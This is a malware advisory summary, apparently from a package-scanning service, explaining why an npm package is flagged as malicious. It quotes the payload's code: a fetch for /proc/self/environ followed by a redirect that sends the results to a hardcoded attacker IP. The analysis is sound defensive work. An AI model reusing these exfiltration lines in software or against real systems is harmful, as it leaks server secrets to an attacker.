OpenSSF/OSV malware advisory MAL-2026-3680 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-3680 confirms this npm version as malicious. The package's main file (index.js) executes at module load, with no exports and no user-invoked API.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The package's main file (index.js) executes at module load, with no exports and no user-invoked API. On import it issues \`fetch('/api/notes?id=/self/proc/environ')\` and then assigns \`top.location = 'http://128.199.217.232/?notes=' + encodeURIComponent(data)\`, relaying whatever the vulnerable endpoint returns (a path-traversal-shaped request for the server process's environment variables) to a hardcoded bare IPv4 address over plain HTTP. Package metadata is placeholder ('no description', generic author handle) and there is no library functionality — this is a PoC/exfil payload packaged as an npm module. Any installer bundling this into a web application would redirect victim browsers to the attacker IP with exfiltrated data in the query string. Import-time execution + hardcoded bare-IP C2 + plaintext HTTP + a request path specifically crafted to read \`/proc/self/environ\` together leave no benign interpretation.
